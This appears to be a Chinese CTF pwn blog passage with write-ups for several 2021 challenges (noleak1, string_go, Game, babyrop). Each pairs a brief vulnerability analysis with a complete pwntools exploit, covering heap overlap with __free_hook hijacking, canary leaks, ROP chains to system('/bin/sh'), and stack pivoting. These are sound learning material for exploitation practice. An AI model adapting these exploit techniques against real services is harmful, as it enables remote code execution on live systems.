这里了我们构造3个chunk,3个chunk满足以下条件:

chunk1:size要大于tcache max也就是要大于0x420,这里是为了防止构造的chunk进入tcache而无法合并,如果限制了chunk的大小,那么一定要先填满tcache
chunk2:size要等于0xk8这里涉及到Glibc堆管理机制中空间复用,且为了方便后面tcache去劫持free_hook其他小不能大于tcache max
chunk3:要保证其的size域一定要是0x100的整倍数,且大小大于tcache max

先释放掉chunk1,接下来,我们通过修改chunk3p_sizechunk1+chunk2就使得chunk1,chunk2合并,然后再将chunk2释放进unsorted bin中合并。此时的chunk2处于释放状态,而我们仍然可控。接下来我们只需要将chunk2再申请出来就能达到overlap的效果,接下来劫持free_hook对我们来说就轻而易举了。

解题步骤

Step1 secert
1
2
p.recvuntil("str:")
p.send("N0_py_1n_tHe_ct7")
Step2 leak
1
2
3
4
5
6
7
8
9
10
add(0,0x410)
add(1,0x20) #防止合并
free(0)
add(0,0x20)
#edit(0,p64(0))
show(0)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3ec090
success("libc: " + hex(libc_base))
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
Step3 overlap

在这之前要先把unsorted bin清空

1
2
3
4
5
6
7
8
9
10
11
12
13
add(0,0x3e0)  

add(0,0x420)
add(1,0x78)
add(2,0x4f0)
add(3,0x18)
free(0)
edit(1,b'B' * 0x70 + p64(0x420 + 0x10 + 0x70 + 0x10))
free(2)
#gdb.attach(p)
add(4,0x420)
add(5,0x78)
add(6,0x78)

劫持free_hook
1
2
3
4
5
6
7
free(6)
free(5)
edit(1,p64(free_hook-8))
add(7,0x78)
add(8,0x78)
edit(8,b'/bin/sh\x00'+p64(system))
free(8)

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

p = process("noleak1")
libc = ELF("libc-2.27.so")

p.recvuntil("str:")
p.send("N0_py_1n_tHe_ct7")

def choice(choice):
p.recvuntil(">")
p.sendline(str(choice))

def add(index,size):
choice(1)
p.recvuntil("Index?")
p.sendline(str(index))
p.recvuntil("Size?")
p.sendline(str(size))

def show(index):
choice(2)
p.recvuntil("Index?")
p.sendline(str(index))

def edit(index,content):
choice(3)
p.recvuntil("Index?")
p.sendline(str(index))
p.recvuntil("content:")
p.sendline(content)

def free(index):
choice(4)
p.recvuntil("Index?")
p.sendline(str(index))
#context.log_level = 'debug'
add(0,0x410)
add(1,0x20)
free(0)
add(0,0x20)
#edit(0,p64(0))
show(0)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3ec090
success("libc: " + hex(libc_base))
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']

add(0,0x3e0)

add(0,0x420)
add(1,0x78)
add(2,0x4f0)
add(3,0x18)
free(0)
edit(1,b'B' * 0x70 + p64(0x420 + 0x10 + 0x70 + 0x10))
free(2)
gdb.attach(p)
add(4,0x420)
add(5,0x78)
add(6,0x78)
free(6)
free(5)
edit(1,p64(free_hook-8))
add(7,0x78)
add(8,0x78)
edit(8,b'/bin/sh\x00'+p64(system))
free(8)
#gdb.attach(p)


p.interactive()

2021-12-09

[2021 西湖论剑] string_go

附件 本地用的ubuntu版本为ubuntu18 11.4

这道题其实是一道很简单的题,只是我当时比赛的时候看到c++就开摆,导致这个题没出,还是自己态度的问题吧,经过这次比赛涨了个教训。

题目分析

由于自己没有学过c++,所以IDA反汇编出来那一大串不是看的很懂,所以分析程序的时候就是一顿连蒙带猜

首先看主函数
pic

menu 会打印一个这样的菜单

pic

然后python_input函数会获取我们第一次的输入

pic

然后是calc ,这个函数我没怎么看懂,但感觉是一个检查输入合法性的函数,赛后看大佬们的wp感觉应该是一个处理算式的函数,然后将计算的结果返回,如果返回值为3则进入接下来的判断

接下来会进入lative_func函数,听名字应该就是个有洞的函数,但是由于不太看的懂到这里基本都靠猜了
pic

首先,先输入v7的值,这里要求v7小于等于7,由于v7是int型所以输入负数也可以通过判断,

接下来输入v10然后是v2 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](v10, v7)这句话的意思是将v2赋值为v10的第v7个值

以下是靠猜测 : 这里的v7会被当作一个无符号整数而导致溢出,然后在打印v10的时候会将栈中的东西leak出来,然后这里可以leak出libc和canary(偏移动态调试得到)

接下来输入v9,直接溢出来rop这里需要注意的就是要动态调试计算一下溢出后到ret的距离

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

p = process('string_go')
libc = ELF('libc-2.27.so')

p.recvuntil(">>>")
p.sendline("3")
p.recvuntil(">>>")

p.sendline("-1")

p.recvuntil(">>>")
p.sendline(b'a'*8)
#gdb.attach(p)
p.recvuntil(">>>")
p.sendline("1")
p.recv()
p.recv(0x20)
libc_base = u64(p.recv(6).ljust(8,b'\x00'))-0x61b800
success("libc:"+hex(libc_base))
p.recv(0x12)
canary =u64(p.recv(8))
#print(canary)
success("canary:" + hex(canary))
gdb.attach(p)
binsh = libc_base + 0x00000000001b3e1a
ret = libc_base + 0x00000000000008aa
pop_rdi = libc_base + 0x00000000000215bf
system = libc_base + libc.sym['system']

#p.sendline(b'bbbbbbbb')
payload = b'a'*0x18 + p64(canary) + b'a'*0x18 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
p.sendline(payload)


#sleep(1)
#p.sendline("bbbbbbbbb")
#gdb.attach(p)
p.interactive()

pic

2021-12-10

[湖湘杯2021 2021]Game

附件

这道题的利用方式比较简单,难就难在找出利用点,这道题也比较适合逆向新手来练习逆向

题目分析

这道题是个游戏题,还有点意思,主要讲的是主角作为人造人被人类观察做实验,还有好几个结局,在玩的时候发现输入密码的时候有奇怪的字符串输出

判断这里应该是个溢出点

pic

然后发现这里之后如果输错密码会remake到第一次输密码的地方

pic

进入IDA发现输入我们名字的地方会将我们的输入读入bss段

pic

之后分析发现输密码的地方只溢出了八个字节,虽然可以反复利用但是我没想到啥利用方法,感觉只能用来泄露canary

pic

继续分析发现这里溢出了0x10字节,可以用来做栈迁移,但是之前玩游戏的时候没有发现这条分支,经过Ctrl+x追踪发现只要在出牢房后的所有有选择的地方选择3隐藏选项就能进入该分支

pic

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import * 

p = process("game")
elf = ELF('game')
#p = remote("1.14.71.254",28039)
ls = 0x0000401256
name = 0x0000000004080C0
system = 0x401265
pop_rdi = 0x0000000000402bb3
leave_ret = 0x401337
payload1 = b'\x00' * 0x600 + b'/bin/sh\x00' + p64(pop_rdi) + p64(name + 0x600) + p64(system)
payload2 = b'a'*0x18

p.sendlineafter("开始游戏",'1')
p.sendlineafter("请输入你的名字:",payload1)
p.sendlineafter("2.女","2")
p.sendlineafter("2.打开柜子","2")
p.sendlineafter("这个柜子看起来十分笨重难以打开。",b"")
p.sendlineafter("然而她还是尝试打开它。",b"")
p.sendlineafter("直接打开了柜子。",b"")
p.sendlineafter("2.无视提醒打开它","2")
p.sendlineafter("那么就由我来告诉你一些事情吧。",b"")
p.sendlineafter("我们所有人都在寻找出路",b"")
p.sendlineafter("你可能就会想起我们又一次越狱失败了。",b"")
p.sendlineafter("你就会记起一切。",b"")
p.sendlineafter("我把线索藏在了你自己的衣服里。",b"")
p.sendlineafter("来......",b"")
p.sendlineafter("你真的相信它所写的那些事情吗?)",b"")
p.sendlineafter("床上发呆。",b"")
p.sendlineafter("开始研究起来。",b"")
p.sendlineafter("你为什么会相信?)",b"")
p.sendlineafter("2.气恼地撕开衣服","2")
p.sendlineafter("分布着星星和横杠。",b"")
p.sendlineafter(",-****",b"")
p.sendlineafter("8位数字密码:","20161226")

p.sendlineafter("上的地方。",b"")
p.sendlineafter("发出了声响。",b"")
p.sendlineafter("个密码锁。",b"")
p.sendlineafter("密码:",payload2)
#print(p.recv())
p.recvuntil('a'*0x18)
canary = u64(p.recv(8)) & 0xffffffffffffff00
success("canary:" + hex(canary))
#gdb.attach(p)
p.send('\n')
p.sendlineafter("开了房间门。"," ")
p.sendline(" ")
p.sendlineafter("么也没有。)","3")
p.sendlineafter("么知道的!)"," ")
p.sendlineafter("打开了它。",b"")
p.sendlineafter("动了起来。",b"")
p.sendlineafter("无数台显示器。",b"")
p.sendlineafter("震惊到无法言语。",b"")
p.sendlineafter(")",b"")
p.sendlineafter("房间。",b"")
p.sendlineafter("个。)",b"")
p.sendlineafter("生。)",b"")
p.sendlineafter("越孤独。)",b"")
p.sendlineafter("2.返回房间","3")
p.sendlineafter("间深处走。",b"")
p.sendlineafter("趣的实验品。)",b"")
p.sendlineafter("话起来。",b"")
p.sendlineafter("诉你一切。)",b"")
p.sendlineafter("停止过。)",b"")
p.sendlineafter("中心)",b"")
p.sendlineafter("的一份子了。)",b"")
p.sendlineafter("我意识的。)",b"")
p.sendlineafter("作者其实就是我。)",b"")
p.sendlineafter("然被囚禁着。)",b"")
p.sendlineafter("不过智慧的你可能并没有到达过那里。)",b"")
p.sendlineafter("察中心取得的突破。)"," ")
p.sendlineafter("的吗?)"," ")
p.sendlineafter("504号",b"")
p.sendlineafter("了地"," ")
payload3 = b'a' * 0x18 + p64(canary) + p64(name + 0x600) + p64(leave_ret)

p.recvuntil("你的信息。")
#gdb.attach(p)
p.sendline(payload3)


p.interactive()

pic

这里提一下在bss偏移的时候需要注意rsp的值,如果偏移小了会导致rsp位于一个没有权限的段上导致打不通

2021-12-14

[mtctf 2021]babyrop

附件

一道简单的rop,考的应该是栈迁移,但是用ret2text+one也一样可以做出来

题目分析

pic

这里在输入name的时候会溢出一个字节,通过这个溢出我们可以泄露出canary

然后进入if判断进入vuln函数

pic

这里存在溢出,但是不足以我们进行ret2libc,那么首先想到栈迁移。但是这道题可以通过printf(stdout)的方式泄露出libc然后打one

我们将vuln的rbp的值覆盖为stdout+0x20,然后劫持程序到这里

pic

这样就能够成功泄露出libc的地址,然后继续执行程序到vuln然后打one

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

p = process('babyrop')
libc = ELF('libc-2.27.so')
elf = ELF('babyrop')

payload1 = b'a'*0x19
payload2 = b'4196782'

p.recvuntil('name?')
p.sendline(payload1)
p.recvuntil('a'*0x19)
canary = u64(p.recv(7).rjust(8,b'\x00'))
success("canary:"+hex(canary))
#gdb.attach(p)
p.recvuntil('enge')
p.sendline(payload2)

payload3 = b'a'*0x18 + p64(canary) + p64(0x601010+0x20) + p64(0x400818)

p.recvuntil('message')
p.sendline(payload3)
p.recvuntil('Hello, ')
libc_base = u64(p.recv(6).ljust(8,b'\x00'))-0x3ec760
success("libc:"+hex(libc_base))
#gdb.attach(p)
one = libc_base + 0x4f3d5
payload4 = b'a'*0x18+p64(canary) + p64(0) + p64(one)
p.recvuntil('unlock this challenge')
p.sendline(payload2)
p.recvuntil('message')
p.sendline(payload4)
p.interactive()